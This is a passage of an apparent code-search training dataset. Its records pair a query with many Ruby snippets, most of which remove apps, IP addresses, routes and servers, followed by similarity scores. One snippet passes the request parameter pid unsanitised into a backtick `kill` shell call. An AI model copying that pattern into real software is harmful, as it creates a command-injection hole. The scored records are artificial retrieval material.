Done maybe stopping taskqueue worker\")\n\n APPS_LOCK.synchronize {\n if my_node.is_login?\n Nginx.remove_app(app_name)\n Nginx.reload\n HAProxy.remove_app(app_name)\n end\n\n if my_node.is_appengine?\n Djinn.log_debug(\"(stop_app) Calling AppManager for app #{app_name}\")\n app_manager = AppManagerClient.new(my_node.private_ip)\n if !app_manager.stop_app(app_name)\n Djinn.log_error(\"(stop_app) ERROR: Unable to stop app #{app_name}\")\n else\n Djinn.log_info(\"(stop_app) AppManager shut down app #{app_name}\")\n end\n\n ZKInterface.remove_app_entry(app_name, my_node.public_ip)\n end\n\n # If this node has any information about AppServers for this app,\n # clear that information out.\n if !@app_info_map[app_name].nil?\n @app_info_map.delete(app_name)\n end\n\n @apps_loaded = @apps_loaded - [app_name] \n @app_names = @app_names - [app_name]\n\n if @apps_loaded.empty?\n @apps_loaded << \"none\"\n end\n\n if @app_names.empty?\n @app_names << \"none\"\n end\n } # end of lock\n } # end of thread\n\n return \"true\"\n end", "def del_ip(vid, ip_address)\n perform_request(action: 'vserver-delip', vserverid: vid, ipaddr: ip_address)\n end", "def del_ip(vid, ip_address)\n perform_request(:action => 'vserver-delip', :vserverid => vid, :ipaddr => ip_address)\n end", "def unregister_server(id)\n puts \"Removing entry to #{id} from HA configurations\"\n name = 'webserver'\n tempfile = '/tmp/haproxy.cfg'\n server_config = \"server #{name}\"\n \n contents = File.read(File.expand_path(@haproxy_config_file))\n\n open(tempfile, 'w+') do |f|\n contents.each_line do |line|\n f.puts line unless line.match(id)\n end\n end\n FileUtils.mv(tempfile, @haproxy_config_file)\n end", "def remove_ip(ip)\n send_req({a: :nul, key: ip})\n end", "def add_appserver_to_haproxy(app_id, ip, port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n if !my_node.is_login?\n return NO_HAPROXY_PRESENT\n end\n\n if @app_info_map[app_id].nil? or @app_info_map[app_id]['appengine'].nil?\n return NOT_READY\n end\n\n Djinn.log_debug(\"Adding AppServer for app #{app_id} at #{ip}:#{port}\")\n get_scaling_info_for_app(app_id)\n @app_info_map[app_id]['appengine'] << \"#{ip}:#{port}\"\n HAProxy.update_app_config(my_node.private_ip, app_id,\n @app_info_map[app_id])\n get_scaling_info_for_app(app_id, update_dashboard=false)\n\n return \"OK\"\n end", "def stop(app, app_id = nil)\n defer = @web.defer\n app_id = app_id || AppStore.lookup(app)\n\n if !app_id.nil?\n @web.schedule do\n bindings = @bindings[app_id]\n closing = []\n\n if bindings != nil\n bindings.each do |binding|\n result = binding.unbind\n closing << result unless result.nil?\n end\n end\n defer.resolve(::Libuv::Q.all(@web, *closing))\n end\n else\n defer.reject('application not loaded')\n end\n\n defer.promise\n end", "def remove_app(app_id, keep_data: nil, timeout: nil)\n @bridge.remove_app(app_id, keep_data: keep_data, timeout: timeout)\n end", "def relocate_app(appid, http_port, https_port, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n Djinn.log_debug(\"@app_info_map is #{@app_info_map.inspect}\")\n http_port = Integer(http_port)\n https_port = Integer(https_port)\n\n # First, only let users relocate apps to ports that the firewall has open\n # for App Engine apps.\n if http_port != 80 and (http_port < 8080 or http_port > 8100)\n return \"Error: HTTP port must be 80, or in the range 8080-8100.\"\n end\n\n if https_port != 443 and (https_port < 4380 or https_port > 4400)\n return \"Error: HTTPS port must be 443, or in the range 4380-4400.\"\n end\n\n # Next, make sure that no other app is using either of these ports for\n # nginx, haproxy, or the AppServer itself.\n @app_info_map.each { |app, info|\n # Of course, it's fine if it's our app on a given port, since we're\n # relocating that app.\n next if app == appid\n\n if [http_port, https_port].include?(info['nginx'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['nginx_https'])\n return \"Error: Port in use by nginx for app #{app}\"\n end\n\n if [http_port, https_port].include?(info['haproxy'])\n return \"Error: Port in use by haproxy for app #{app}\"\n end\n\n # On multinode deployments, the login node doesn't serve App Engine apps,\n # so this may be nil.\n if info['appengine']\n info['appengine'].each { |appserver_port|\n if [http_port, https_port].include?(appserver_port)\n return \"Error: Port in use by AppServer for app #{app}\"\n end\n }\n end\n }\n\n if RESERVED_APPS.include?(appid)\n return \"Error: Can't relocate the #{appid} app.\"\n end\n\n # Next, remove the old port from the UAServer and add the new one.\n my_public = my_node.public_ip\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n uac.delete_instance(appid, my_public, @app_info_map[appid]['nginx'])\n uac.add_instance(appid, my_public, http_port)\n\n # Next, rewrite the nginx config file with the new ports\n Djinn.log_info(\"Regenerating nginx config for relocated app #{appid}\")\n @app_info_map[appid]['nginx'] = http_port\n @app_info_map[appid]['nginx_https'] = https_port\n proxy_port = @app_info_map[appid]['haproxy']\n my_private = my_node.private_ip\n login_ip = get_login.private_ip\n\n # Since we've changed what ports the app runs on, we should persist this\n # immediately, instead of waiting for the main thread to do this\n # out-of-band.\n backup_appserver_state\n\n if my_node.is_login?\n static_handlers = HelperFunctions.parse_static_data(appid)\n Nginx.write_fullproxy_app_config(appid, http_port, https_port, my_public,\n my_private, proxy_port, static_handlers, login_ip)\n end\n\n Djinn.log_debug(\"Done writing new nginx config files!\")\n Nginx.reload()\n\n # Same for any cron jobs the user has set up.\n # TODO(cgb): We do this on the login node, but the cron jobs are initially\n # set up on the shadow node. In all supported cases, these are the same\n # node, but there may be an issue if they are on different nodes in\n # the future.\n # TODO(cgb): This doesn't remove the old cron jobs that were accessing the\n # previously used port. This isn't a problem if nothing else runs on that\n # port, or if anything else there.\n CronHelper.update_cron(my_public, http_port,\n @app_info_map[appid]['language'], appid)\n\n # Finally, the AppServer takes in the port to send Task Queue tasks to\n # from a file. Update the file and restart the AppServers so they see\n # the new port. Do this in a separate thread to avoid blocking the caller.\n port_file = \"/etc/appscale/port-#{appid}.txt\"\n HelperFunctions.write_file(port_file, http_port)\n\n Thread.new {\n @nodes.each { |node|\n if node.private_ip != my_node.private_ip\n HelperFunctions.scp_file(port_file, port_file, node.private_ip,\n node.ssh_key)\n end\n next if not node.is_appengine?\n app_manager = AppManagerClient.new(node.private_ip)\n app_manager.restart_app_instances_for_app(appid)\n }\n }\n\n # Once we've relocated the app, we need to tell the XMPPReceiver about the\n # app's new location.\n MonitInterface.restart(\"xmpp-#{appid}\")\n\n return \"OK\"\n end", "def remove_alias(ip)\n cmd(\"addr del #{ip}/#{prefix} dev #{name}\")\n unless name == 'eth0' || !cmd(\"rule list\").match(/([0-9]+):\\s+from #{ip} lookup #{route_table}/)\n cmd(\"rule delete pref #{$1}\")\n end\n end", "def uninstall(app_id)\n runcmd 'uninstall', app_id\n end", "def delete_instance_from_dashboard(appid, location)\n begin\n host, port = location.split(\":\")\n instance_info = [{\n 'appid' => appid,\n 'host' => host,\n 'port' => Integer(port)\n }]\n\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/apps/stats/instances\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Delete.new(url.path)\n request.body = JSON.dump(instance_info)\n response = http.request(request)\n Djinn.log_debug(\"Done sending instance info to AppDashboard!\")\n Djinn.log_debug(\"Instance info is: #{instance_info.inspect}\")\n Djinn.log_debug(\"Response is #{response.body}\")\n rescue Exception => exception\n # Don't crash the AppController because we weren't able to send over\n # the instance info - just continue on.\n Djinn.log_warn(\"Couldn't delete instance info to AppDashboard because\" +\n \" of a #{exception.class} exception.\")\n end\n end", "def revoke(secret_id)\n request('/accounts/' + account_id + '/secrets/' + secret_id, type: Delete)\n end", "def remove_server( host, port )\n server = get_server( host, port )\n Penctl.update_server( @pen, server[:slot], :address => '0.0.0.0', :port => 0 )\n !server_in_pool? host, port\n end", "def remove_banned_ip\n @banned_ip = BannedIp.find(params[:id]).destroy\n flash[:notice] = \"The IP range has been unbanned.\"\n redirect_back_or_default ban_ip_admin_accounts_path\n end", "def delete_port(external_port, protocol = TCP, remote_host = '')\r\n return debug('No WAN Service') unless @wan_service\r\n return send_action(@wan_service, 'DeletePortMapping', \r\n NewRemoteHost: remote_host, \r\n NewExternalPort: external_port, \r\n NewProtocol: (protocol == TCP ? TCP : UDP))\r\n end", "def destroy(app_name)\n opts = { app_name: app_name }\n Hermes::Route.destroy(opts.merge(Hash[options.map{|(k,v)| [k.to_sym,v]}]))\n puts \"Route for #{app_name} deleted\"\n end", "def stop_xmpp_for_app(app)\n Djinn.log_info(\"Shutting down xmpp receiver for app: #{app}\")\n MonitInterface.remove(\"xmpp-#{app}\")\n Djinn.log_info(\"Done shutting down xmpp receiver for app: #{app}\")\n end", "def erase_app_instance_info\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_list = uac.get_all_apps()\n my_public = my_node.public_ip\n\n Djinn.log_info(\"All apps are [#{app_list.join(', ')}]\")\n app_list.each { |app|\n if uac.does_app_exist?(app)\n Djinn.log_debug(\"App #{app} is enabled, so stopping it.\")\n hosts = uac.get_hosts_for_app(app)\n Djinn.log_debug(\"[Stop appengine] hosts for #{app} is [#{hosts.join(', ')}]\")\n hosts.each { |host|\n Djinn.log_debug(\"[Stop appengine] deleting instance for app #{app} at #{host}\")\n ip, port = host.split(\":\")\n uac.delete_instance(app, ip, port)\n }\n\n Djinn.log_info(\"Finished deleting instances for app #{app}\")\n else\n Djinn.log_debug(\"App #{app} wasnt enabled, skipping it\")\n end\n }\n end", "def removeAddr( node_id )\n for addr in @routing_table.keys\n if @routing_table[addr][\"node_id\"] == node_id\n @routing_table.delete([addr])\n end\n end\n end", "def delete_appointment(id)\n @client.raw('delete', \"/config/appointments/#{id}\")\n end", "def remove_route(route={})\n request :delete, '/routes', route\n end", "def delete_vapp(id)\n fog_service_interface.delete_vapp(id)\n end", "def removeAddr(node_id)\n for addr in @routing_table.keys\n if @routing_table[addr][\"node_id\"] == node_id\n @routing_table.delete([addr])\n end\n end\n end", "def add_appserver_to_haproxy(app_id, ip, port)\n make_call(NO_TIMEOUT, RETRY_ON_FAIL, \"add_appserver_to_haproxy\") {\n @conn.add_appserver_to_haproxy(app_id, ip, port, @secret)\n }\n end", "def unshare_ip_address(server_id, address, opts={})\n body = { 'unshareIp' => { 'addr' => address } }\n api(:delete, \"/servers/#{server_id}/ips/public/#{address}\", opts.merge(:body => body.to_json))\n end", "def delete\n @exists = apps.include?(params[:app])\n @app = params[:app] unless @exists == false\n\n if @exists\n `rm #{File.expand_path(\"~/.pow/#{@app}\")}`\n redirect_to root_path, :notice => \"Pow app deleted\"\n else\n render :text => \"Given app is not a Pow app\"\n end\n end", "def delete_floating_ip(id)\n check_extension(\"os-floating-ips\")\n @connection.req(\"DELETE\", \"/os-floating-ips/#{id}\")\n true\n end", "def disconnect!\n response = delete(PATH.call(id) + \"/application\")\n response['status'] == SUCCESS\n end", "def delete_vapp(vAppId)\n params = {\n 'method' => :delete,\n 'command' => \"/vApp/vapp-#{vAppId}\"\n }\n\n response, headers = send_request(params)\n task_id = headers[:location].gsub(/.*\\/task\\//, \"\")\n task_id\n end", "def remove_server id\n @station.remove_server id\n end", "def destroy\n @ip = Ip.find(params[:id])\n @ip.destroy\n\n respond_to do |format|\n format.html { redirect_to ips_url }\n format.json { head :no_content }\n end\n end", "def terminate_app(app_id, timeout: nil)\n @bridge.terminate_app(app_id, timeout: timeout)\n end", "def terminate_app(app_id, timeout: nil)\n @bridge.terminate_app(app_id, timeout: timeout)\n end", "def apps_app_routes_route_delete_with_http_info(app, route, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: RoutesApi.apps_app_routes_route_delete ...\"\n end\n # verify the required parameter 'app' is set\n if @api_client.config.client_side_validation && app.nil?\n fail ArgumentError, \"Missing the required parameter 'app' when calling RoutesApi.apps_app_routes_route_delete\"\n end\n # verify the required parameter 'route' is set\n if @api_client.config.client_side_validation && route.nil?\n fail ArgumentError, \"Missing the required parameter 'route' when calling RoutesApi.apps_app_routes_route_delete\"\n end\n # resource path\n local_var_path = \"/apps/{app}/routes/{route}\".sub('{' + 'app' + '}', app.to_s).sub('{' + 'route' + '}', route.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RoutesApi#apps_app_routes_route_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n @app.destroy\n\n head :no_content\n end", "def delete(destination, nexthop = nil)\n cmd = \"no ip route #{destination}\"\n cmd << \" #{nexthop}\" if nexthop\n configure cmd\n end", "def remove\n get_credentials\n begin\n response = resource[\"/remove/#{app}\"].post(:apikey => @credentials[1])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "def delete_vapp(vAppId)\n params = {\n 'method' => :delete,\n 'command' => \"/vApp/vapp-#{vAppId}\"\n }\n\n response, headers = send_request(params)\n task_id = headers[:location].gsub(\"#{@api_url}/task/\", \"\")\n task_id\n end", "def delete_server(id)\n return delete_request(address(\"/servers/\" + id), @token)\n end", "def destroy\n @client.app_destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end", "def delete_secret(opts = {})\n delete_secret_with_http_info(opts)\n nil\n end", "def remove_vhost!\n @session.nickserv.vhost(self.name, :off)\n end", "def delete_l7route(lb_id, config_id, id, headers = {})\n res = delete!(\"loadbalancers/#{lb_id}/configs/#{config_id}/l7routes/#{id}\", {}, headers)\n check_job(res.body[\"job_id\"], headers)\n end", "def destroy\n @ip_addr = IpAddr.find(params[:id])\n @ip_addr.destroy\n\n respond_to do |format|\n format.html { redirect_to(ip_addrs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ip = AllowedIpAddress.find(params[:id])\n @ip.destroy\n\n respond_to do |format|\n flash[:notice] = 'Allowed IP Address was successfully deleted.'\n format.html { redirect_to allowed_ip_address_path }\n format.xml { head :ok }\n end\n end", "def delete\n @bot.delete_application_command(@id, server_id: @server_id)\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"#{uri_prefix}/virtual_dns/#{id}\")\n end", "def remove(options = {})\n requires :ip\n raise Fog::Errors::Error.new('Ip is not attached to a server.') if serverid.nil?\n data = service.ip_remove({:ipaddress => ip}.merge!(options)).body[\"response\"][\"details\"]\n merge_attributes data\n end", "def delete(name, action, seqno)\n configure([\"no route-map #{name} #{action} #{seqno}\"])\n end", "def add_appserver_process(app_id, secret)\n if !valid_secret?(secret)\n return BAD_SECRET_MSG\n end\n\n # Starting a appserver instance on request to scale the application \n app = app_id\n @state = \"Adding an AppServer for #{app}\"\n\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_manager = AppManagerClient.new(my_node.private_ip)\n\n warmup_url = \"/\"\n\n app_data = uac.get_app_data(app)\n \n Djinn.log_debug(\"Get app data for #{app} said [#{app_data}]\")\n\n loop {\n Djinn.log_info(\"Waiting for app data to have instance info for app named #{app}: #{app_data}\")\n\n app_data = uac.get_app_data(app)\n if app_data[0..4] != \"Error\"\n break\n end\n Kernel.sleep(5)\n }\n \n app_language = app_data.scan(/language:(\\w+)/).flatten.to_s\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n\n app_is_enabled = uac.does_app_exist?(app)\n Djinn.log_debug(\"is app #{app} enabled? #{app_is_enabled}\")\n if app_is_enabled == \"false\"\n return \n end\n\n appengine_port = find_lowest_free_port(STARTING_APPENGINE_PORT)\n Djinn.log_debug(\"Adding #{app_language} app #{app} on \" +\n \"#{HelperFunctions.local_ip}:#{appengine_port} \")\n\n xmpp_ip = get_login.public_ip\n\n result = app_manager.start_app(app, appengine_port, get_load_balancer_ip(),\n app_language, xmpp_ip, [Djinn.get_nearest_db_ip()],\n HelperFunctions.get_app_env_vars(app))\n\n if result == -1\n Djinn.log_error(\"ERROR: Unable to start application #{app} on port \" +\n \"#{appengine_port}.\")\n end\n\n # Tell the AppController at the login node (which runs HAProxy) that a new\n # AppServer is running.\n acc = AppControllerClient.new(get_login.private_ip, @@secret)\n acc.add_appserver_to_haproxy(app, my_node.private_ip, appengine_port)\n end", "def stop app, &block\n # stop and remove all running procfile processes\n tuple = [:ps, /#{app['name']}\\./, nil, nil ]\n while (self.class.space.read(tuple,0) rescue nil) do\n if host = (self.class.space.take(tuple,0)[2] rescue nil)\n host.remove app[\"name\"]\n end\n end\n end", "def destroy\n display\n if confirm [\"Are you totally completely sure you want to delete #{app} forever and ever?\", \"THIS CANNOT BE UNDONE! (y/n)\"]\n display \"+> Destroying #{app}\"\n client.app_destroy(app)\n display \"+> #{app} has been successfully destroyed. RIP #{app}.\"\n remove_app(app)\n end\n display\n end", "def destroy\n Rails.logger.info('๐Ÿ‘ป Disraptor: Destroying route.')\n\n if Disraptor::Route.remove(params[:route_id])\n Rails.application.reload_routes!\n\n render json: success_json\n else\n render json: failed_json\n end\n end", "def restart(app_name)\n\t\tdelete(\"/apps/#{app_name}/server\")\n\tend", "def delete(opt)\n ipaddr_modify(RTM_DELADDR, 0, opt)\n end", "def unbind(url)\n @allocations.delete(url)\n @http_server.unmount(url)\n @http_server.remap\n end", "def destroy\n requires :ip\n remove(:release => true)\n end", "def stop_app_manager_server\n MonitInterface.stop(:appmanagerserver)\n end", "def remove(target_ip)\n @targets.delete target_ip\n @arp_packets.delete target_ip\n end", "def delete_marketplaceapp(node_id)\n @options = {:path => '/marketplaces/#{node_id}',\n :body => \"\"}.merge(@options)\n\n request(\n :expects => 200,\n :method => :delete,\n :body => @options[:body]\n )\n end", "def delete_server(lb_id, config_id, id, headers = {})\n res = delete!(\"loadbalancers/#{lb_id}/configs/#{config_id}/servers/#{id}\", {}, headers)\n check_job(res.body[\"job_id\"], headers, [\"list_servers\", lb_id, config_id], false)\n end", "def remove_server(opts = {})\n cmd = \"no tacacs-server host #{opts[:hostname]}\"\n cmd << \" port #{opts[:port]}\" if opts[:port]\n configure cmd\n end", "def delete_droplet(id, client)\n client.droplets.delete(id: id)\nend", "def remove_server(service_id, server_id)\n request :delete, \"/services/#{service_id}/servers/#{server_id}\"\n end", "def remove_location(location_id, did)\n raise ArgumentError unless location_id.is_a?(String)\n raise ArgumentError unless did.is_a?(String)\n self.arguments = {\n location_id: location_id,\n did: did,\n }\n self.action = :remove_location\n self.response = VoipApi.account.request(self.action, self.klass, self.arguments)\n self\n end", "def delete(virtual_machine_id, ip_address_id)\n request(:delete, \"/virtual_machines/#{virtual_machine_id}/ip_addresses/#{ip_address_id}.json\")\n end", "def destroy\n @secret = Secret.find(params[:id])\n if current_user == @secret.user\n @secret.destroy\n end\n redirect_to \"/users/#{session[:user_id]}\"\n end", "def stop_server\n FileUtils.rm_r \"#{ENV['TM_PROJECT_DIRECTORY']}/config/.event_server\"\n pid = params[:pid]\n `kill #{pid}`\n render \"_index\", :locals => { :running => false, :pid => \"\" } \n end", "def unfriend(id)\n post(\"users/#{id}/unfriend\").user\n end", "def close_app\n if @session_id && @app\n @logger.info \"Disconnecting from #{@app}.#{@cube}\"\n @req.Logout do |xml|\n xml.sID @session_id\n end\n invoke\n @app = nil\n @cube = nil\n @dimensions = nil\n @default_pov = nil\n end\n end", "def destroy\n @frozen_tunnel_io = FrozenTunnelIo.find(params[:id])\n @frozen_tunnel_io.destroy\n\n respond_to do |format|\n format.html { redirect_to frozen_tunnel_ios_url }\n format.json { head :no_content }\n end\n end", "def remove(ip_address)\n if entry = find_entry_by_ip_address(ip_address)\n @entries.delete(entry)\n end\n end", "def delete_program_application(program_id, adspace_id)#TODO test\n resource = ['programs', 'program', program_id.to_s, 'adspace', adspace_id.to_s]\n \n @rest_action = 'DELETE'\n enable_api_security\n\n if send_request(resource)\n return true\n end\n\n return false\n end", "def destroy\n secret = Secret.find(params[:id])\n secret.destroy\n redirect_to \"/users/#{secret.user_id}\"\n end", "def remove(route_id)\n return Disraptor::RouteStore.remove_route(route_id)\n end", "def delete_appdata\n @restv9.delete_appdata(person_id, appId, field)\n end", "def restart(app_name)\n deprecate # 07/31/2012\n delete(\"/apps/#{app_name}/server\").to_s\n end", "def stop(target_ip)\n deactivate target_ip\n remove target_ip\n end", "def publishResourceRemove(app_id, run_id, resource)\n # Cache\n cache = RoomPlacesCachePublish.get_cache(app_id, run_id)\n\n cache.resources_remove([resource])\n\t#nutella.net.publish('location/resources/removed', {:resources => [resource]})\nend", "def stop_app_dashboard()\n Djinn.log_info(\"Shutting down AppDashboard\")\n AppDashboard.stop\n end", "def unbind_meta_app key, &block\n application \"unbind_meta_app\", key.to_s, &block\n end", "def remove_ip(opts)\n opts = check_params(opts,[:ips])\n super(opts)\n end", "def delete_slot_ip(opts)\n opts = check_params(opts,[:cluster_name,:slot_ids,:slot_ips])\n super(opts)\n end", "def destroy\n conf.delete 'api'\n end", "def clear_forwarded_ports\n args = []\n read_forwarded_ports(@uuid).each do |nic, name, _, _|\n args.concat([\"--natpf#{nic}\", \"delete\", name])\n end\n\n execute(\"modifyvm\", @uuid, *args) if !args.empty?\n end", "def destroy\n @fixed_ip = FixedIp.find(params[:id])\n @fixed_ip.destroy\n\n respond_to do |format|\n format.html { redirect_to fixed_ips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n fail \"No id; can't delete #{self.inspect}!\" unless id\n Connection.delete(create_route(:delete))\n end", "def destroy_secret_version project_id:, secret_id:, version_id:\n # Create a Secret Manager client.\n client = Google::Cloud::SecretManager.secret_manager_service\n\n # Build the resource name of the secret version.\n name = client.secret_version_path(\n project: project_id,\n secret: secret_id,\n secret_version: version_id\n )\n\n # Destroy the secret version.\n response = client.destroy_secret_version name: name\n\n # Print a success message.\n puts \"Destroyed secret version: #{response.name}\"\nend", "def delete_action(plugin, action_id)\n the_plugin = hawk_escape plugin\n the_action_id = hawk_escape action_id\n http_delete \"/actions/#{the_plugin}/#{the_action_id}\"\n end", "def delete_floating_ip\n raw_delete_floating_ip\n end", "def destroy\n authorize! :destroy, @app\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove(route)\n @route_map.delete(route)\n nil\n end", "def delete(id)\n request(:delete, \"/settings/hypervisor_zones/#{id}.json\")\n end", "def delete_program_application(program_id, adspace_id)#TODO test\n method = 'DeleteProgramApplication'\n\n params = {\n 'programId' => program_id.to_s,\n 'adspaceId' => adspace_id.to_s\n }\n\n enable_api_security\n\n if send_request(method, params)\n return true\n end\n\n return false\n end", "def delete_port(port)\n return delete_request(address(\"ports/\" + port), @token)\n end", "def destroy\n app = extract_app\n info = heroku.info(app)\n url = info[:domain_name] || \"http://#{info[:name]}.#{heroku.host}/\"\n\n if confirm_command(app)\n redisplay \"Destroying #{app} (including all add-ons)... \"\n heroku.destroy(app)\n if remotes = git_remotes(Dir.pwd)\n remotes.each do |remote_name, remote_app|\n next if app != remote_app\n git \"remote rm #{remote_name}\"\n end\n end\n display \"done\"\n end\n end", "def proxy_forget\n execute(:proxy, :forget)\n end" ]
[ "0.8289475", "0.7399267", "0.5790702", "0.5787291", "0.57453823", "0.5711031", "0.5699406", "0.5597189", "0.55916697", "0.5579129", "0.5542733", "0.53383416", "0.5310369", "0.5241229", "0.52137506", "0.5170206", "0.51689225", "0.5160986", "0.514857", "0.51254684", "0.5103936", "0.51004314", "0.5080587", "0.5079248", "0.5077451", "0.5076213", "0.5073105", "0.5058604", "0.50584406", "0.50109124", "0.5004879", "0.49966308", "0.4990875", "0.49733642", "0.49705213", "0.49705213", "0.49614787", "0.4947337", "0.49466377", "0.49458548", "0.49444783", "0.4921837", "0.4919677", "0.48972195", "0.4866314", "0.48387665", "0.48331183", "0.4823038", "0.48218355", "0.48106146", "0.48036844", "0.47814244", "0.477059", "0.475958", "0.47554463", "0.47289923", "0.47212765", "0.47116485", "0.47035214", "0.46985435", "0.4694732", "0.46889842", "0.46857432", "0.46795222", "0.46780318", "0.46740893", "0.4672661", "0.46657616", "0.4656836", "0.46439615", "0.4634039", "0.4632936", "0.46317184", "0.46289083", "0.4628127", "0.46246997", "0.46212113", "0.46191844", "0.46013275", "0.45986873", "0.45909014", "0.45783794", "0.45653397", "0.45594203", "0.45568484", "0.4549699", "0.454445", "0.45382062", "0.4534087", "0.45321676", "0.45310926", "0.4528619", "0.45277557", "0.4519909", "0.4516838", "0.45131782", "0.45122796", "0.45066488", "0.45064965", "0.45028988" ]
0.75486976
1
class variable, scope: class/ anywhere inside of the key words class and end when does initialize get invoked? .new
def initialize(name, age) @name = name # instance variable, scope: the instance or instance methods @age = age save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def class() end", "def class_variables() end", "def k_class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n\n type = K_CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 345:4: 'class'\n match( \"class\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end", "def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end", "def initialize\n @awesome_methods = {}\n \n # Check if we're bootstraping. During this process\n # the runtime is not fully initialized and core classes\n # do not yet exists, so we defer setting the object class\n # once this is all done.\n # This solves the chiken and egg problem with the Class class.\n # We can initialize Class then set Class.class = Class.\n if defined?(Runtime)\n awesome_class = Runtime[\"Class\"]\n else\n awesome_class = nil\n end\n \n super(awesome_class)\n end", "def class=(_arg0); end", "def initialize() end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def class_variables; end", "def initialize(x) # constructor \n @inst = x # instance variables start with @ \n @@cla += 1 # each object shares @@cla \n end", "def initialize(name)\n @name = name #initialize any name\n @@all << self # pushing class into class variable\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize(klass)\n @klass = klass\n @known = []\n end", "def initialize\n puts \"constructor is automatically called when we create object\"\n end", "def initialize(word)\n @word = word \nend", "def class_variables\n end", "def initialize\n @canadian_methods = {}\n\n if defined?(Runtime)\n can_class = Runtime[\"Class\"]\n else\n can_class = nil\n end\n\n super(can_class)\n end", "def cls; end", "def class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n\n type = CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 44:8: 'platillo'\n match( \"platillo\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end", "def constructor; end", "def instantiate!; end", "def initialize\n # complete\n end", "def initialize(name)\n @@count += 1\n @name = name #ใ“ใฎใ‚ฏใƒฉใ‚นๅ†…ใงใ‚ใ‚Œใฐไฝฟ็”จใงใใ‚‹\n end", "def class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n\n type = CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 151:9: 'class'\n match( \"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end", "def initialize\n @instance_variable = 3 # Available in instance methods\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n type = CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 358:8: 'class'\n match( \"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end", "def initialize(owner_class, *args, &block); end", "def initialize\n\t\t@tokenizer = Lexer.new # why the defined method is initialize and the called method is new mystifies me\n\t\t@token = nil\n\t\t@blocklevel = 0\n\t\t@node = nil\n\t\t@sav = nil\n\tend", "def class!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n type = CLASS\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 331:9: 'class'\n match( \"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n end", "def initialize\n \n end", "def initialized?; end", "def initialized?; end", "def initialized?; end", "def initialized?; end", "def initialize\nend", "def initialize(word)\n @word = word #instanciates a new instance of `word`\n end", "def class_decls; end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize # instance method with class variable \n @@number_of_dogs += 1 # we can access class variables from within instance method\n end", "def custom_initialize_instance_variables\n @open_selector_bracket_detected = false\n @open_function_detected = false\n @open_include_detected = false\n @parents_stash = []\n @root_selectors = []\n @all_selectors = []\n @all_mixins = []\n @all_includes = []\n @all_properties = []\n end", "def class_def!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 90 )\n\n type = CLASS_DEF\n channel = 